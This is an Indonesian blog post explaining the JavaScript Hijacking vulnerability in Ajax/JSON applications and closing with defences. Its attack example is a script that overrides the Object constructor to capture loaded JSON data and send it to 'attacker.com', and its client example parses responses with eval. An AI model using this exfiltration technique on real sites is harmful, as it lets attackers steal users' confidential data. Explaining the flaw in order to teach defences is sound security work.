Pages

Subscribe:

Selasa, 09 Oktober 2012

Pembajakan JavaScript

Bertambahnya jumlah aplikasi web yang sering disebut aplikasi Ajax, memanfaatkan Javascript sebagai mekanisme transportasi data. Di sini saya akan menjelaskan sebuah kelemahan yang kita sebut dengan “Pembajakan Javascript”, yang memperbolehkan pihak yang tidak bertanggung jawab untuk membaca data rahasia yang tersimpan di dalam pesan Javascript. Penyerangan ini bekerja dengan menggunakan tag <script> untuk menghindari Same Origin Policy yang digunakan browser Web.
Aplikasi Web tradisional tidak rentan karena mereka tidak menggunakan Javascript sebagai mekanisme transportasi data.

Terdapat 12 framework Ajax yang populer, termasuk 4 toolkit yang terintegrasi server -- Direct Web Remoting (DWR), Microsoft ASP.NET Ajax (atau Atlas), xajax dan Google Web Toolkit (GWT) – dan 8 client-side libraries -- Prototype, Script.aculo.us, Dojo, Moo.fx, jQuery, Yahoo! UI, Rico, dan MochiKit. Dari semua itu, hanya DWR 2.0 yang mengimplementasikan mekanisme pencegahan Pembajakan Javascript. Framework sisanya tidak secara eksplisit menyediakan perlindungan dan menyinggung masalah keamanan dalam dokumentasi mereka.

Banyak programmer tidak menggunakan satupun framework tersebut, namun terdapat banyak aplikasi custom-build yang rentan. Ciri-ciri aplikasi yang kemungkinan rentan adalah jika:
  • Menggunakan JavaScript sebagai format transfer data,
  • Menangani data rahasia
Browser Web menggunakan Same Origin Policy untuk melindungi pengguna dari website yang berbahaya. Same Origin Policy mewajibkan baik Javascript dan halaman Web harus berasal dari domain yang sama agar Javascript dapat mengakses isi Web tersebut. Tanpa Same Origin Policy, website berbahaya dapat memanfaatkan Javascript yang memuat informasi sensitif dari website lain menggunakan credential klien, dan berkomunikasi balik ke pelaku.

Pembajakan JavaScript membiarkan pelaku untuk mem-bypass Same Origin Policy jikalau aplikasi Web menggunakan Javascript untuk mengirimkan informasi rahasia. Celah dalam Same
Origin Policy adalah memperbolehkan JavaScript dari website apapun untuk disertakan dan dieksekusi dalam konteks website lain. Meskipun situs berbahaya tidak dapat memeriksa secara langsung data apapun yang dimuat dari situs yang rapuh dari klien, namun tetap dapat memanfaatkan celah ini dengan mengatur environment yang memperbolehkannya melihat eksekusi JavaScript dan efek samping relevan yang dimiliki.

Berikut adalah contoh interaksi antara klien - server yang memuat data penjualan dengan menggunakan format JavaScript Object Notation (JSON).

Klien merequest data dari server dan mengevaluasi hasilnya sebagai JSON dengan kode berikut:
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
                        var txt = req.responseText;
                        object = eval("(" + txt + ")");
                        req = null;
            }
};
req.send(null);
Saat kode berjalan, dihasilkan HTTP request seperti ini:
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YjaSbAiTnRR
Server merespon dengan array dalam format JSON:
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@fortifysoftware.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@fortifysoftware.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@fortifysoftware.com" }]
Jika korban calon dapat ditipu untuk mengunjungi halaman Web yang berisi kode berbahaya, informasi rahasia korban dapat dikirim ke website pelaku.
<script>
// mengganti konstruktor yang dipakai untuk membuat seluruh objek sehingga
// setiap kali field “email” ditetapkan, metode captureObject() akan berjalan.
// Karena "email" adalah field terakhir, script ini akan mencuri seluruh fungsi objek.
function Object() {
this.email setter = captureObject;
}
// Mengirim objek yang didapat kembali ke website pelaku.
function captureObject(x) {
var objString = "";
            for (fld in this) {
                        objString += fld + ": " + this[fld] + ", ";
             }
objString += "email: " + x;
            var req = new XMLHttpRequest();
            req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
            req.send(null);
}
</script>
<!—Menggunakan tag script untuk mencuri data -->
<script src="http://www.example.com/object.json"></script>
Untuk aplikasi Web 2.0 yang menangani data rahasia, terdapat beberapa cara fundamental untuk berlindung dari Pembajakan Javascript, yaitu:
  • Menolak request berbahaya
  • Mencegah eksekusi langsung dari respon Javascript,
sedangkan untuk seluruh program yang berkomunikasi dengan menggunakan Javascript menerapkan beberapa langkah pencegahan sebagai berikut:
  • Menyertakan identifier yang sulit diterka, seperti identifier session, sebagai bagian dari tiap request yang akan mengembalikan Javascript. Ini untuk melawan penyerangan dengan pemalsuan request cross-site dengan memperbolehkan server untuk memvalidasi asal-muasal dari request tersebut.
  • Menyertakan karakter dalam respon yang mencegahnya diserahkan ke penerjemah Javascript tanpa modifikasi. Ini mencegah pelaku untuk menggunakan tag <script> untuk melihat eksekusi Javasript.

0 komentar:

Posting Komentar